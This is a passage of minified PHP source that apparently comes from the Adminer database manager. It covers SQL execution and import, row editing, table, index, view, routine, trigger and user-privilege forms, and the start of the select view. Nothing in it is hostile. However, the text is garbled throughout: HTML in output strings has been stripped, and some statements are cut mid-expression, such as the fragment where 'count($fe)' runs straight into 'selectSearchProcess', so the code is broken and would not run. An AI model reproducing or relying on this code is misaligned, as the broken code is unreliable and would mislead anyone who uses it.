\n";}elseif(isset($_GET["sql"])){if(!$m&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$se=&get_session("queries");$re=&$se[DB];if(!$m&&$_POST["clear"]){$re=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?lang(71):lang(63)),$m);if(!$m&&$_POST){$Zd=false;if(!isset($_GET["import"]))$F=$_POST["query"];elseif($_POST["webfile"]){$Hi=$b->importServerPath();$Zd=@fopen((file_exists($Hi)?$Hi:"compress.zlib://$Hi.gz"),"rb");$F=($Zd?fread($Zd,1e6):false);}else$F=get_file("sql_file",true);if(is_string($F)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($F)+memory_get_usage()+8e6));if($F!=""&&strlen($F)<1e6){$Bh=$F.(preg_match("~;[ \t\r\n]*\$~",$F)?"":";");if(!$re||reset(end($re))!=$Bh){restart_session();$re[]=array($Bh,time());set_session("queries",$se);stop_session();}}$Ei="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$wc=";";$B=0;$bd=true;$h=connect();if(is_object($h)&&DB!=""){$h->select_db(DB);if($_GET["ns"]!="")set_schema($_GET["ns"],$h);}$Kb=0;$gd=array();$Vg='[\'"'.($w=="sql"?'`#':($w=="sqlite"?'`[':($w=="mssql"?'[':''))).']|/\*|-- |$'.($w=="pgsql"?'|\$[^$]*\$':'');$Aj=microtime(true);parse_str($_COOKIE["adminer_export"],$Ca);$Nc=$b->dumpFormat();unset($Nc["sql"]);while($F!=""){if(!$B&&preg_match("~^$Ei*+DELIMITER\\s+(\\S+)~i",$F,$_)){$wc=$_[1];$F=substr($F,strlen($_[0]));}else{preg_match('('.preg_quote($wc)."\\s*|$Vg)",$F,$_,PREG_OFFSET_CAPTURE,$B);list($Xd,$lh)=$_[0];if(!$Xd&&$Zd&&!feof($Zd))$F.=fread($Zd,1e5);else{if(!$Xd&&rtrim($F)=="")break;$B=$lh+strlen($Xd);if($Xd&&rtrim($Xd)!=$wc){while(preg_match('('.($Xd=='/*'?'\*/':($Xd=='['?']':(preg_match('~^-- |^#~',$Xd)?"\n":preg_quote($Xd)."|\\\\."))).'|$)s',$F,$_,PREG_OFFSET_CAPTURE,$B)){$K=$_[0][0];if(!$K&&$Zd&&!feof($Zd))$F.=fread($Zd,1e5);else{$B=$_[0][1]+strlen($K);if($K[0]!="\\")break;}}}else{$bd=false;$Bh=substr($F,0,$lh);$Kb++;$th="".$b->sqlCommandQuery($Bh)." \n";if($w=="sqlite"&&preg_match("~^$Ei*+ATTACH\\b~i",$Bh,$_)){echo$th,"".lang(145)."\n";$gd[]=" $Kb";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$th;ob_flush();flush();}$Li=microtime(true);if($g->multi_query($Bh)&&is_object($h)&&preg_match("~^$Ei*+USE\\b~i",$Bh))$h->query($Bh);do{$G=$g->store_result();if($g->error){echo($_POST["only_errors"]?$th:"")," ".lang(146).($g->errno?" ($g->errno)":"").": ".error()."\n";$gd[]=" $Kb";if($_POST["error_stops"])break
2;}else{$oj=" (".format_time($Li).")".(strlen($Bh)<1000?" ".lang(10)."":"");$Ea=$g->affected_rows;$qk=($_POST["only_errors"]?"":$l->warnings());$rk="warnings-$Kb";if($qk)$oj.=", ".lang(45)."".script("qsl('a').onclick = partial(toggle, '$rk');","");$od=null;$pd="explain-$Kb";if(is_object($G)){$y=$_POST["limit"];$Dg=select($G,$h,array(),$y);if(!$_POST["only_errors"]){echo" \n";}}else{if(preg_match("~^$Ei*+(CREATE|DROP|ALTER)$Ei++(DATABASE|SCHEMA)\\b~i",$Bh)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"".lang(149,$Ea)."$oj\n";}echo($qk?" \n$qk \n":"");if($od){echo"\n";select($od,$h,$Dg);echo" \n";}}$Li=microtime(true);}while($g->next_result());}$F=substr($F,$B);$B=0;}}}}if($bd)echo"".lang(150)."\n";elseif($_POST["only_errors"]){echo" ".lang(151,$Kb-count($gd))," (".format_time($Aj).")\n";}elseif($gd&&$Kb>1)echo" ".lang(146).": ".implode("",$gd)."\n";}else
echo" ".upload_error($F)."\n";}echo'
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$o=fields($a);$Z=(isset($_GET["select"])?($_POST["check"]&&count($_POST["check"])==1?where_check($_POST["check"][0],$o):""):where($_GET,$o));$Vj=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($o
as$A=>$n){if(!isset($n["privileges"][$Vj?"update":"insert"])||$b->fieldName($n)==""||$n["generated"])unset($o[$A]);}if($_POST&&!$m&&!isset($_GET["select"])){$sf=$_POST["referer"];if($_POST["insert"])$sf=($Vj?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$sf))$sf=ME."select=".urlencode($a);$v=indexes($a);$Qj=unique_array($_GET["where"],$v);$Eh="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($sf,lang(164),$l->delete($a,$Eh,!$Qj));else{$O=array();foreach($o
as$A=>$n){$X=process_input($n);if($X!==false&&$X!==null)$O[idf_escape($A)]=$X;}if($Vj){if(!$O)redirect($sf);queries_redirect($sf,lang(165),$l->update($a,$O,$Eh,!$Qj));if(is_ajax()){page_headers();page_messages($m);exit;}}else{$G=$l->insert($a,$O);$if=($G?last_id():0);queries_redirect($sf,lang(166,($if?" $if":"")),$G);}}}$I=null;if($_POST["save"])$I=(array)$_POST["fields"];elseif($Z){$L=array();foreach($o
as$A=>$n){if(isset($n["privileges"]["select"])){$Na=convert_field($n);if($_POST["clone"]&&$n["auto_increment"])$Na="''";if($w=="sql"&&preg_match("~enum|set~",$n["type"]))$Na="1*".idf_escape($A);$L[]=($Na?"$Na AS ":"").idf_escape($A);}}$I=array();if(!support("table"))$L=array("*");if($L){$G=$l->select($a,$L,array($Z),$L,array(),(isset($_GET["select"])?2:1));if(!$G)$m=error();else{$I=$G->fetch_assoc();if(!$I)$I=false;}if(isset($_GET["select"])&&(!$I||$G->fetch_assoc()))$I=null;}}if(!support("table")&&!$o){if(!$Z){$G=$l->select($a,array("*"),$Z,array("*"));$I=($G?$G->fetch_assoc():false);if(!$I)$I=array($l->primary=>"");}if($I){foreach($I
as$x=>$X){if(!$Z)$I[$x]=null;$o[$x]=array("field"=>$x,"null"=>($x!=$l->primary),"auto_increment"=>($x==$l->primary));}}}edit_form($a,$o,$I,$Vj);}elseif(isset($_GET["create"])){$a=$_GET["create"];$Xg=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$x)$Xg[$x]=$x;$Mh=referencable_primary($a);$Vd=array();foreach($Mh
as$Xi=>$n)$Vd[str_replace("`","``",$Xi)."`".str_replace("`","``",$n["field"])]=$Xi;$Gg=array();$S=array();if($a!=""){$Gg=fields($a);$S=table_status($a);if(!$S)$m=lang(9);}$I=$_POST;$I["fields"]=(array)$I["fields"];if($I["auto_increment_col"])$I["fields"][$I["auto_increment_col"]]["auto_increment"]=true;if($_POST)set_adminer_settings(array("comments"=>$_POST["comments"],"defaults"=>$_POST["defaults"]));if($_POST&&!process_fields($I["fields"])&&!$m){if($_POST["drop"])queries_redirect(substr(ME,0,-1),lang(167),drop_tables(array($a)));else{$o=array();$Ja=array();$ak=false;$Td=array();$Fg=reset($Gg);$Ga=" FIRST";foreach($I["fields"]as$x=>$n){$p=$Vd[$n["type"]];$Lj=($p!==null?$Mh[$p]:$n);if($n["field"]!=""){if(!$n["has_default"])$n["default"]=null;if($x==$I["auto_increment_col"])$n["auto_increment"]=true;$yh=process_field($n,$Lj);$Ja[]=array($n["orig"],$yh,$Ga);if($yh!=process_field($Fg,$Fg)){$o[]=array($n["orig"],$yh,$Ga);if($n["orig"]!=""||$Ga)$ak=true;}if($p!==null)$Td[idf_escape($n["field"])]=($a!=""&&$w!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$Vd[$n["type"]],'source'=>array($n["field"]),'target'=>array($Lj["field"]),'on_delete'=>$n["on_delete"],));$Ga=" AFTER ".idf_escape($n["field"]);}elseif($n["orig"]!=""){$ak=true;$o[]=array($n["orig"]);}if($n["orig"]!=""){$Fg=next($Gg);if(!$Fg)$Ga="";}}$Zg="";if($Xg[$I["partition_by"]]){$ah=array();if($I["partition_by"]=='RANGE'||$I["partition_by"]=='LIST'){foreach(array_filter($I["partition_names"])as$x=>$X){$Y=$I["partition_values"][$x];$ah[]="\n PARTITION ".idf_escape($X)." VALUES ".($I["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$Zg.="\nPARTITION BY $I[partition_by]($I[partition])".($ah?" (".implode(",",$ah)."\n)":($I["partitions"]?" PARTITIONS ".(+$I["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$S["Create_options"]))$Zg.="\nREMOVE PARTITIONING";$Hf=lang(168);if($a==""){cookie("adminer_engine",$I["Engine"]);$Hf=lang(169);}$A=trim($I["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($A),$Hf,alter_table($a,$A,($w=="sqlite"&&($ak||$Td)?$Ja:$o),$Td,($I["Comment"]!=$S["Comment"]?$I["Comment"]:null),($I["Engine"]&&$I["Engine"]!=$S["Engine"]?$I["Engine"]:""),($I["Collation"]&&$I["Collation"]!=$S["Collation"]?$I["Collation"]:""),($I["Auto_increment"]!=""?number($I["Auto_increment"]):""),$Zg));}}page_header(($a!=""?lang(43):lang(73)),$m,array("table"=>$a),h($a));if(!$_POST){$I=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($Nj["int"])?"int":(isset($Nj["integer"])?"integer":"")),"on_update"=>"")),"partition_names"=>array(""),);if($a!=""){$I=$S;$I["name"]=$a;$I["fields"]=array();if(!$_GET["auto_increment"])$I["Auto_increment"]="";foreach($Gg
as$n){$n["has_default"]=isset($n["default"]);$I["fields"][]=$n;}if(support("partitioning")){$ae="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$G=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $ae ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($I["partition_by"],$I["partitions"],$I["partition"])=$G->fetch_row();$ah=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $ae AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$ah[""]="";$I["partition_names"]=array_keys($ah);$I["partition_values"]=array_values($ah);}}}$Gb=collations();$dd=engines();foreach($dd
as$cd){if(!strcasecmp($cd,$I["Engine"])){$I["Engine"]=$cd;break;}}echo'
';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$Ce=array("PRIMARY","UNIQUE","INDEX");$S=table_status($a,true);if(preg_match('~MyISAM|M?aria'.(min_version(5.6,'10.0.5')?'|InnoDB':'').'~i',$S["Engine"]))$Ce[]="FULLTEXT";if(preg_match('~MyISAM|M?aria'.(min_version(5.7,'10.2.2')?'|InnoDB':'').'~i',$S["Engine"]))$Ce[]="SPATIAL";$v=indexes($a);$rh=array();if($w=="mongo"){$rh=$v["_id_"];unset($Ce[0]);unset($v["_id_"]);}$I=$_POST;if($_POST&&!$m&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($I["indexes"]as$u){$A=$u["name"];if(in_array($u["type"],$Ce)){$e=array();$pf=array();$zc=array();$O=array();ksort($u["columns"]);foreach($u["columns"]as$x=>$d){if($d!=""){$of=$u["lengths"][$x];$yc=$u["descs"][$x];$O[]=idf_escape($d).($of?"(".(+$of).")":"").($yc?" DESC":"");$e[]=$d;$pf[]=($of?$of:null);$zc[]=$yc;}}if($e){$md=$v[$A];if($md){ksort($md["columns"]);ksort($md["lengths"]);ksort($md["descs"]);if($u["type"]==$md["type"]&&array_values($md["columns"])===$e&&(!$md["lengths"]||array_values($md["lengths"])===$pf)&&array_values($md["descs"])===$zc){unset($v[$A]);continue;}}$c[]=array($u["type"],$A,$O);}}}foreach($v
as$A=>$md)$c[]=array($md["type"],$A,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(178),alter_indexes($a,$c));}page_header(lang(130),$m,array("table"=>$a),h($a));$o=array_keys(fields($a));if($_POST["add"]){foreach($I["indexes"]as$x=>$u){if($u["columns"][count($u["columns"])]!="")$I["indexes"][$x]["columns"][]="";}$u=end($I["indexes"]);if($u["type"]||array_filter($u["columns"],'strlen'))$I["indexes"][]=array("columns"=>array(1=>""));}if(!$I){foreach($v
as$x=>$u){$v[$x]["name"]=$x;$v[$x]["columns"][]="";}$v[]=array("columns"=>array(1=>""));$I["indexes"]=$v;}echo'
';}elseif(isset($_GET["database"])){$I=$_POST;if($_POST&&!$m&&!isset($_POST["add_x"])){$A=trim($I["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(182),drop_databases(array(DB)));}elseif(DB!==$A){if(DB!=""){$_GET["db"]=$A;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($A),lang(183),rename_database($A,$I["collation"]));}else{$j=explode("\n",str_replace("\r","",$A));$Ri=true;$hf="";foreach($j
as$k){if(count($j)==1||$k!=""){if(!create_database($k,$I["collation"]))$Ri=false;$hf=$k;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($hf),lang(184),$Ri);}}else{if(!$I["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($A).(preg_match('~^[a-z0-9_]+$~i',$I["collation"])?" COLLATE $I[collation]":""),substr(ME,0,-1),lang(185));}}page_header(DB!=""?lang(66):lang(113),$m,array(),h(DB));$Gb=collations();$A=DB;if($_POST)$A=$I["name"];elseif(DB!="")$I["collation"]=db_collation(DB,$Gb);elseif($w=="sql"){foreach(get_vals("SHOW GRANTS")as$de){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\.\*)?~',$de,$_)&&$_[1]){$A=stripcslashes(idf_unescape("`$_[2]`"));break;}}}echo'
';}elseif(isset($_GET["scheme"])){$I=$_POST;if($_POST&&!$m){$z=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$z,lang(186));else{$A=trim($I["name"]);$z.=urlencode($A);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($A),$z,lang(187));elseif($_GET["ns"]!=$A)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($A),$z,lang(188));else
redirect($z);}}page_header($_GET["ns"]!=""?lang(67):lang(68),$m);if(!$I)$I["name"]=$_GET["ns"];echo'
';}elseif(isset($_GET["call"])){$da=($_GET["name"]?$_GET["name"]:$_GET["call"]);page_header(lang(189).": ".h($da),$m);$ci=routine($_GET["call"],(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$Ae=array();$Kg=array();foreach($ci["fields"]as$r=>$n){if(substr($n["inout"],-3)=="OUT")$Kg[$r]="@".idf_escape($n["field"])." AS ".idf_escape($n["field"]);if(!$n["inout"]||substr($n["inout"],0,2)=="IN")$Ae[]=$r;}if(!$m&&$_POST){$nb=array();foreach($ci["fields"]as$x=>$n){if(in_array($x,$Ae)){$X=process_input($n);if($X===false)$X="''";if(isset($Kg[$x]))$g->query("SET @".idf_escape($n["field"])." = $X");}$nb[]=(isset($Kg[$x])?"@".idf_escape($n["field"]):$X);}$F=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($da)."(".implode(", ",$nb).")";$Li=microtime(true);$G=$g->multi_query($F);$Ea=$g->affected_rows;echo$b->selectQuery($F,$Li,!$G);if(!$G)echo"".error()."\n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$G=$g->store_result();if(is_object($G))select($G,$h);else
echo" ".lang(190,$Ea)." ".@date("H:i:s")."\n";}while($g->next_result());if($Kg)select($g->query("SELECT ".implode(", ",$Kg)));}}echo'
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$A=$_GET["name"];$I=$_POST;if($_POST&&!$m&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$Hf=($_POST["drop"]?lang(191):($A!=""?lang(192):lang(193)));$sf=ME."table=".urlencode($a);if(!$_POST["drop"]){$I["source"]=array_filter($I["source"],'strlen');ksort($I["source"]);$fj=array();foreach($I["source"]as$x=>$X)$fj[$x]=$I["target"][$x];$I["target"]=$fj;}if($w=="sqlite")queries_redirect($sf,$Hf,recreate_table($a,$a,array(),array(),array(" $A"=>($_POST["drop"]?"":" ".format_foreign_key($I)))));else{$c="ALTER TABLE ".table($a);$Ic="\nDROP ".($w=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($A);if($_POST["drop"])query_redirect($c.$Ic,$sf,$Hf);else{query_redirect($c.($A!=""?"$Ic,":"")."\nADD".format_foreign_key($I),$sf,$Hf);$m=lang(194)." $m";}}}page_header(lang(195),$m,array("table"=>$a),h($a));if($_POST){ksort($I["source"]);if($_POST["add"])$I["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$I["target"]=array();}elseif($A!=""){$Vd=foreign_keys($a);$I=$Vd[$A];$I["source"][]="";}else{$I["table"]=$a;$I["source"]=array("");}echo'
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$I=$_POST;$Hg="VIEW";if($w=="pgsql"&&$a!=""){$P=table_status($a);$Hg=strtoupper($P["Engine"]);}if($_POST&&!$m){$A=trim($I["name"]);$Na=" AS\n$I[select]";$sf=ME."table=".urlencode($A);$Hf=lang(199);$U=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");if(!$_POST["drop"]&&$a==$A&&$w!="sqlite"&&$U=="VIEW"&&$Hg=="VIEW")query_redirect(($w=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($A).$Na,$sf,$Hf);else{$ij=$A."_adminer_".uniqid();drop_create("DROP $Hg ".table($a),"CREATE $U ".table($A).$Na,"DROP $U ".table($A),"CREATE $U ".table($ij).$Na,"DROP $U ".table($ij),($_POST["drop"]?substr(ME,0,-1):$sf),lang(200),$Hf,lang(201),$a,$A);}}if(!$_POST&&$a!=""){$I=view($a);$I["name"]=$a;$I["materialized"]=($Hg!="VIEW");if(!$m)$m=error();}page_header(($a!=""?lang(42):lang(202)),$m,array("table"=>$a),h($a));echo'
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$Ne=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$Ni=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$I=$_POST;if($_POST&&!$m){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(203));elseif(in_array($I["INTERVAL_FIELD"],$Ne)&&isset($Ni[$I["STATUS"]])){$hi="\nON SCHEDULE ".($I["INTERVAL_VALUE"]?"EVERY ".q($I["INTERVAL_VALUE"])." $I[INTERVAL_FIELD]".($I["STARTS"]?" STARTS ".q($I["STARTS"]):"").($I["ENDS"]?" ENDS ".q($I["ENDS"]):""):"AT ".q($I["STARTS"]))." ON COMPLETION".($I["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(204):lang(205)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$hi.($aa!=$I["EVENT_NAME"]?"\nRENAME TO ".idf_escape($I["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($I["EVENT_NAME"]).$hi)."\n".$Ni[$I["STATUS"]]." COMMENT ".q($I["EVENT_COMMENT"]).rtrim(" DO\n$I[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(206).": ".h($aa):lang(207)),$m);if(!$I&&$aa!=""){$J=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$I=reset($J);}echo'
';}elseif(isset($_GET["procedure"])){$da=($_GET["name"]?$_GET["name"]:$_GET["procedure"]);$ci=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$I=$_POST;$I["fields"]=(array)$I["fields"];if($_POST&&!process_fields($I["fields"])&&!$m){$Eg=routine($_GET["procedure"],$ci);$ij="$I[name]_adminer_".uniqid();drop_create("DROP $ci ".routine_id($da,$Eg),create_routine($ci,$I),"DROP $ci ".routine_id($I["name"],$I),create_routine($ci,array("name"=>$ij)+$I),"DROP $ci ".routine_id($ij,$I),substr(ME,0,-1),lang(212),lang(213),lang(214),$da,$I["name"]);}page_header(($da!=""?(isset($_GET["function"])?lang(215):lang(216)).": ".h($da):(isset($_GET["function"])?lang(217):lang(218))),$m);if(!$_POST&&$da!=""){$I=routine($_GET["procedure"],$ci);$I["name"]=$da;}$Gb=get_vals("SHOW CHARACTER SET");sort($Gb);$di=routine_languages();echo'
';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$I=$_POST;if($_POST&&!$m){$z=substr(ME,0,-1);$A=trim($I["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$z,lang(221));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($A),$z,lang(222));elseif($fa!=$A)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($A),$z,lang(223));else
redirect($z);}page_header($fa!=""?lang(224).": ".h($fa):lang(225),$m);if(!$I)$I["name"]=$fa;echo'
';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$I=$_POST;if($_POST&&!$m){$z=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$z,lang(226));else
query_redirect("CREATE TYPE ".idf_escape(trim($I["name"]))." $I[as]",$z,lang(227));}page_header($ga!=""?lang(228).": ".h($ga):lang(229),$m);if(!$I)$I["as"]="AS ";echo'
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$A=$_GET["name"];$Jj=trigger_options();$I=(array)trigger($A)+array("Trigger"=>$a."_bi");if($_POST){if(!$m&&in_array($_POST["Timing"],$Jj["Timing"])&&in_array($_POST["Event"],$Jj["Event"])&&in_array($_POST["Type"],$Jj["Type"])){$qg=" ON ".table($a);$Ic="DROP TRIGGER ".idf_escape($A).($w=="pgsql"?$qg:"");$sf=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($Ic,$sf,lang(230));else{if($A!="")queries($Ic);queries_redirect($sf,($A!=""?lang(231):lang(232)),queries(create_trigger($qg,$_POST)));if($A!="")queries(create_trigger($qg,$I+array("Type"=>reset($Jj["Type"]))));}}$I=$_POST;}page_header(($A!=""?lang(233).": ".h($A):lang(234)),$m,array("table"=>$a));echo'
';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$wh=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$I){foreach(explode(",",($I["Privilege"]=="Grant option"?"":$I["Context"]))as$Ub)$wh[$Ub][$I["Privilege"]]=$I["Comment"];}$wh["Server Admin"]+=$wh["File access on server"];$wh["Databases"]["Create routine"]=$wh["Procedures"]["Create routine"];unset($wh["Procedures"]["Create routine"]);$wh["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$wh["Columns"][$X]=$wh["Tables"][$X];unset($wh["Server Admin"]["Usage"]);foreach($wh["Tables"]as$x=>$X)unset($wh["Databases"][$x]);$Xf=array();if($_POST){foreach($_POST["objects"]as$x=>$X)$Xf[$X]=(array)$Xf[$X]+(array)$_POST["grants"][$x];}$ee=array();$og="";if(isset($_GET["host"])&&($G=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($I=$G->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$I[0],$_)&&preg_match_all('~ *([^(,]*[^ ,(])( *\([^)]+\))?~',$_[1],$_f,PREG_SET_ORDER)){foreach($_f
as$X){if($X[1]!="USAGE")$ee["$_[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$I[0]))$ee["$_[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$I[0],$_))$og=$_[1];}}if($_POST&&!$m){$pg=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $pg",ME."privileges=",lang(237));else{$Zf=q($_POST["user"])."@".q($_POST["host"]);$ch=$_POST["pass"];if($ch!=''&&!$_POST["hashed"]&&!min_version(8)){$ch=$g->result("SELECT PASSWORD(".q($ch).")");$m=!$ch;}$cc=false;if(!$m){if($pg!=$Zf){$cc=queries((min_version(5)?"CREATE USER":"GRANT USAGE ON *.* TO")." $Zf IDENTIFIED BY ".(min_version(8)?"":"PASSWORD ").q($ch));$m=!$cc;}elseif($ch!=$og)queries("SET PASSWORD FOR $Zf = ".q($ch));}if(!$m){$Zh=array();foreach($Xf
as$hg=>$de){if(isset($_GET["grant"]))$de=array_filter($de);$de=array_keys($de);if(isset($_GET["grant"]))$Zh=array_diff(array_keys(array_filter($Xf[$hg],'strlen')),$de);elseif($pg==$Zf){$mg=array_keys((array)$ee[$hg]);$Zh=array_diff($mg,$de);$de=array_diff($de,$mg);unset($ee[$hg]);}if(preg_match('~^(.+)\s*(\(.*\))?$~U',$hg,$_)&&(!grant("REVOKE",$Zh,$_[2]," ON $_[1] FROM $Zf")||!grant("GRANT",$de,$_[2]," ON $_[1] TO $Zf"))){$m=true;break;}}}if(!$m&&isset($_GET["host"])){if($pg!=$Zf)queries("DROP USER $pg");elseif(!isset($_GET["grant"])){foreach($ee
as$hg=>$Zh){if(preg_match('~^(.+)(\(.*\))?$~U',$hg,$_))grant("REVOKE",array_keys($Zh),$_[2]," ON $_[1] FROM $Zf");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(238):lang(239)),!$m);if($cc)$g->query("DROP USER $Zf");}}page_header((isset($_GET["host"])?lang(34).": ".h("$ha@$_GET[host]"):lang(144)),$m,array("privileges"=>array('',lang(70))));if($_POST){$I=$_POST;$ee=$Xf;}else{$I=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$I["pass"]=$og;if($og!="")$I["hashed"]=true;$ee[(DB==""||$ee?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'
';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$m){$cf=0;foreach((array)$_POST["kill"]as$X){if(kill_process($X))$cf++;}queries_redirect(ME."processlist=",lang(244,$cf),$cf||!$_POST["kill"]);}page_header(lang(114),$m);echo'
',script("tableCheck();");}elseif(isset($_GET["select"])){$a=$_GET["select"];$S=table_status1($a);$v=indexes($a);$o=fields($a);$Vd=column_foreign_keys($a);$kg=$S["Oid"];parse_str($_COOKIE["adminer_import"],$Da);$ai=array();$e=array();$mj=null;foreach($o
as$x=>$n){$A=$b->fieldName($n);if(isset($n["privileges"]["select"])&&$A!=""){$e[$x]=html_entity_decode(strip_tags($A),ENT_QUOTES);if(is_shortable($n))$mj=$b->selectLengthProcess();}$ai+=$n["privileges"];}list($L,$fe)=$b->selectColumnsProcess($e,$v);$Re=count($fe)selectSearchProcess($o,$v);$Ag=$b->selectOrderProcess($o,$v);$y=$b->selectLimitProcess();if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$Rj=>$I){$Na=convert_field($o[key($I)]);$L=array($Na?$Na:idf_escape(key($I)));$Z[]=where_check($Rj,$o);$H=$l->select($a,$L,$Z,$L);if($H)echo
reset($H->fetch_row());}exit;}$rh=$Tj=null;foreach($v
as$u){if($u["type"]=="PRIMARY"){$rh=array_flip($u["columns"]);$Tj=($L?$rh:array());foreach($Tj
as$x=>$X){if(in_array(idf_escape($x),$L))unset($Tj[$x]);}break;}}if($kg&&!$rh){$rh=$Tj=array($kg=>0);$v[]=array("type"=>"PRIMARY","columns"=>array($kg));}if($_POST&&!$m){$wk=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$tb=array();foreach($_POST["check"]as$qb)$tb[]=where_check($qb,$o);$wk[]="((".implode(") OR (",$tb)."))";}$wk=($wk?"\nWHERE ".implode(" AND ",$wk):"");if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");$ae=($L?implode(", ",$L):"*").convert_fields($e,$o,$L)."\nFROM ".table($a);$he=($fe&&$Re?"\nGROUP BY ".implode(", ",$fe):"").($Ag?"\nORDER BY ".implode(", ",$Ag):"");if(!is_array($_POST["check"])||$rh)$F="SELECT $ae$wk$he";else{$Pj=array();foreach($_POST["check"]as$X)$Pj[]="(SELECT".limit($ae,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$o).$he,1).")";$F=implode(" UNION ALL ",$Pj);}$b->dumpData($a,"table",$F);exit;}if(!$b->selectEmailProcess($Z,$Vd)){if($_POST["save"]||$_POST["delete"]){$G=true;$Ea=0;$O=array();if(!$_POST["delete"]){foreach($e
